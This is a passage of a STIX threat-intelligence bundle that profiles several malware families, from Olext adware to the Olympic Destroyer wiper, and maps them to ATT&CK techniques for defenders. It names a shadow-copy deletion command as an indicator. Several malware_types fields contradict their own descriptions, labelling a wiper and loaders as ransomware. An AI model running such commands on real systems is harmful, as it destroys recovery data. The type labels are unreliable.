    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52a4d551-f4a2-5457-b56c-42ef1b6cf0d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--81fb9c17-b72a-56b4-a92b-aa1d89c71ed5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olala exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--74c4773a-f79a-57b2-a10e-d50d54be66a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Olext",
      "description": "<h3>Executive Summary</h3>\nOlext is an aggressive Potentially Unwanted Program (PUP) and Adware application, frequently distributed as a deceptive browser extension or add-on. Its primary function is to forcefully inject advertisements, hijack browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting, often causing significant browser instability.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOlext relies heavily on deceptive software bundling and malvertising. Users typically encounter it when downloading \"free\" software from unofficial portals, where the adware is installed silently in the background, or via deceptive pop-ups prompting the user to install a \"required\" video player extension to view content.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route traffic through affiliate-monetized search engines.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Olext frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to Google, the watchdog service instantly reinstalls the adware.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Olext is generally not classified as destructive malware, it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Olext",
        "PUP.Olext",
        "Win32/Adware.Extension"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Olext",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/olext"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4f532cf-05ce-5914-9fcc-cfc14e0b11cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74c4773a-f79a-57b2-a10e-d50d54be66a4",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olext exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--caf52ba5-e8a5-5fdd-b5ce-2df96cb64ca4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74c4773a-f79a-57b2-a10e-d50d54be66a4",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olext exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f54439d-680a-591c-80a5-32b8c127bc14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74c4773a-f79a-57b2-a10e-d50d54be66a4",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olext exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c968452a-d191-595e-ba1c-705fe9ab1073",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Olgames",
      "description": "PWS:Win32/Onlinegames (extensively tracked across security vendor databases as Trojan-PSW.Win32.OnLineGames or PSW.OnLineGames) is a massive, long-running family of specialized password stealers engineered specifically to harvest authentication credentials, digital certificates, and valuable virtual assets from massively multiplayer online role-playing games (MMORPGs) and digital distribution platforms\u2014including World of Warcraft, Lineage, Tibia, MapleStory, and Steam. Discovered in 2006 and continuously adapted over two decades, Onlinegames variants actively monitor running processes, inject dynamic link libraries (DLLs) into game clients to intercept unencrypted login keystrokes and session tokens, extract saved passwords from local browser caches, and exfiltrate stolen credentials via HTTP POST beacons and SMTP channels to underground illicit black markets. (Observed samples in benchmark: 243)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Onlinegames",
        "PWS:Win32/Onlinegames",
        "Trojan-PSW.Win32.OnLineGames",
        "Trojan.Onlinegames",
        "PSW.OnLineGames",
        "Win32/Onlinegames",
        "Trojan-PSW.OnLineGames"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Olgames",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/olgames"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01e3de78-343f-528a-a0fe-c13b9bee49f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c968452a-d191-595e-ba1c-705fe9ab1073",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olgames exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d12d6b2f-1bd8-5355-9947-6e79eabf9372",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c968452a-d191-595e-ba1c-705fe9ab1073",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olgames exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1be9ffd-e697-5869-846b-9ffa26b4b82f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c968452a-d191-595e-ba1c-705fe9ab1073",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olgames exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a3d49e4-95c8-5e48-a434-86854fd95841",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c968452a-d191-595e-ba1c-705fe9ab1073",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olgames exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e448159-4c04-5c4f-a26e-9119b8d1cb98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c968452a-d191-595e-ba1c-705fe9ab1073",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olgames exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--798d08ea-8760-5d30-8249-79f287aa70f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c968452a-d191-595e-ba1c-705fe9ab1073",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olgames exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--294bdb4e-add0-583c-a9c0-cb54ffa86d1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oligo",
      "description": "Trojan:Win32/Oligo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Oligo</b><br>To an end-user, an Oligo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Oligo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Oligo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Oligo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Oligo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oligo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oligo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e21eb69f-806d-542e-a7c8-c352eff5cf95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--294bdb4e-add0-583c-a9c0-cb54ffa86d1f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oligo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7b1571f-6e81-5bb1-81e7-60a4cee16c64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--294bdb4e-add0-583c-a9c0-cb54ffa86d1f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oligo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14690b5e-1f5a-532f-bbb8-cf970f1c7f67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--294bdb4e-add0-583c-a9c0-cb54ffa86d1f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oligo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68d7d8f2-cd2a-5880-a129-1d48e2d184a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--294bdb4e-add0-583c-a9c0-cb54ffa86d1f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oligo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40332232-d5e2-5854-812f-4984925ea911",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--294bdb4e-add0-583c-a9c0-cb54ffa86d1f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oligo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8b81b10c-ecbb-5cac-ab7a-cc2592899556",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Olympicdestroyer",
      "description": "Trojan:Win32/Olympicdestroyer (or simply **Olympic Destroyer**) is a highly sophisticated, destructive wiper malware deployed during the opening ceremony of the 2018 Winter Olympics in Pyeongchang, South Korea. The attack crippled the Olympic IT infrastructure, taking down the official website, Wi-Fi networks, and broadcast systems. It is legendary in the threat intelligence community not just for its impact, but for its unprecedented use of **false flags**\u2014code artifacts intentionally planted to misdirect attribution away from the actual perpetrators (widely believed to be the Russian GRU / Sandworm team).<br><br><b>Understanding the Olympic Destroyer Wiper</b><br>To an observer, the attack looked like ransomware, but it was purely destructive; there was no mechanism to recover the data. For security analysts, Olympic Destroyer was a masterclass in deception. The malware contained code snippets mimicking the Lazarus Group (North Korea) and customized Rich Headers matching tools used by Chinese APTs. The goal was to cause chaos while framing other nation-states for the disruption.<br><br><b>Execution, Deception, and Destruction Mechanics</b><br>Olympic Destroyer was likely deployed laterally across the Olympic network using stolen credentials (`T1078`). Once executed, it acted incredibly fast. It used WMI and PsExec for rapid lateral movement across the internal network (`T1047`, `T1569.002`). It aggressively disabled endpoint security and deleted all backup catalogs and Volume Shadow Copies (`vssadmin.exe delete shadows`) to prevent recovery (`T1490`). It did not encrypt files; it simply wiped them and rendered the machines unbootable by destroying the Master Boot Record (MBR) (`T1561.002`). The malware was highly tailored, containing hardcoded lists of Olympic infrastructure hostnames and utilizing a built-in credential stealer (a modified version of Mimikatz) to further propagate (`T1003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact was massive IT paralysis. Host-based IoCs included the sudden execution of `vssadmin.exe`, `wbadmin.exe`, and `bcdedit.exe` to destroy recovery options. System event logs would show thousands of critical files being deleted, followed by the system crashing and failing to find a bootable device on restart. The presence of the specific credential stealing module dropped in the `%Temp%` directory was a key signature. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Olympicdestroyer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/olympicdestroyer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d8c9f50-d71b-5bb9-966a-2720f00a4500",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b81b10c-ecbb-5cac-ab7a-cc2592899556",
      "target_ref": "attack-pattern--8ca1d648-b445-58a0-a066-7e7dfa335e84",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olympicdestroyer exhibits technique T1561.002 (Disk Wipe: Disk Structure Wipe (Destroying the MBR))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a17a7c7-d2fe-5291-abb6-5752c483a839",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b81b10c-ecbb-5cac-ab7a-cc2592899556",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olympicdestroyer exhibits technique T1485 (Data Destruction (Wiping critical files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7bb28a8-f661-5fc6-8797-16d3457c237f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b81b10c-ecbb-5cac-ab7a-cc2592899556",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olympicdestroyer exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b789983c-8da1-5fb1-ab80-cd0564a5655d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b81b10c-ecbb-5cac-ab7a-cc2592899556",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olympicdestroyer exhibits technique T1003 (OS Credential Dumping (Modified Mimikatz for lateral movement))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c6e25569-190c-5de7-8218-a787edc067b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Omaneat",
      "description": "Omaneat (cataloged in threat research and antivirus vendor databases under detections including Trojan:Win32/Omaneat, Spyware:Win32/Omaneat!pz, and TrojanSpy:MSIL/Omaneat) is a stealthy Windows spyware trojan active since 2015. Distributed primarily through spearphishing emails with weaponized attachments and deceptive download portals, Omaneat specializes in host surveillance and system reconnaissance. Upon execution, the malware injects malicious code into legitimate Windows background processes to mask its memory presence. Omaneat harvests comprehensive endpoint intelligence, including operating system specifications, hardware identifiers, lists of installed security software, and web browsing history. It maintains persistence through registry modifications under Windows CurrentVersion\\Run and transmits encrypted host profiles back to attacker-controlled command-and-control servers over HTTP. (Observed samples in benchmark: 66)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Omaneat",
        "Spyware:Win32/Omaneat!pz",
        "TrojanSpy:MSIL/Omaneat",
        "Win32/Omaneat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Omaneat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/omaneat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7bd5acf-7a98-539a-a602-bd244f380faa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6e25569-190c-5de7-8218-a787edc067b2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omaneat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b02fbfb-b281-5a42-9246-d9a21a867950",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6e25569-190c-5de7-8218-a787edc067b2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omaneat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cbb3f03-9270-5f4f-a166-ea09a5cd24bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6e25569-190c-5de7-8218-a787edc067b2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omaneat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c866f85-2f40-5204-a109-74dba30800fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6e25569-190c-5de7-8218-a787edc067b2",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omaneat exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b597cbdd-ad17-5661-89a2-d7ffb0ce0633",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6e25569-190c-5de7-8218-a787edc067b2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omaneat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--88e5ba52-0dbe-5328-b840-a359524f908c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Omgfamcremci",
      "description": "<h3>Executive Summary</h3>\n\"Omgfamcremci\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> Omgfamcremci typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Omgfamcremci",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Omgfamcremci",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/omgfamcremci"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7197b58d-0e6d-577a-8ff3-d86e3a967a88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88e5ba52-0dbe-5328-b840-a359524f908c",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omgfamcremci exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bea83c11-6381-52bc-8b7a-1d4b7497b6de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88e5ba52-0dbe-5328-b840-a359524f908c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omgfamcremci exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26f3a7d6-3b58-54e0-b0bb-225e42788a19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88e5ba52-0dbe-5328-b840-a359524f908c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omgfamcremci exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01a749e8-cf1c-5298-bc8b-066ff1c5e71c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88e5ba52-0dbe-5328-b840-a359524f908c",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Omgfamcremci exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a68b811-a1c7-57e2-891e-bfd94d604650",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Omyaamfbexii",
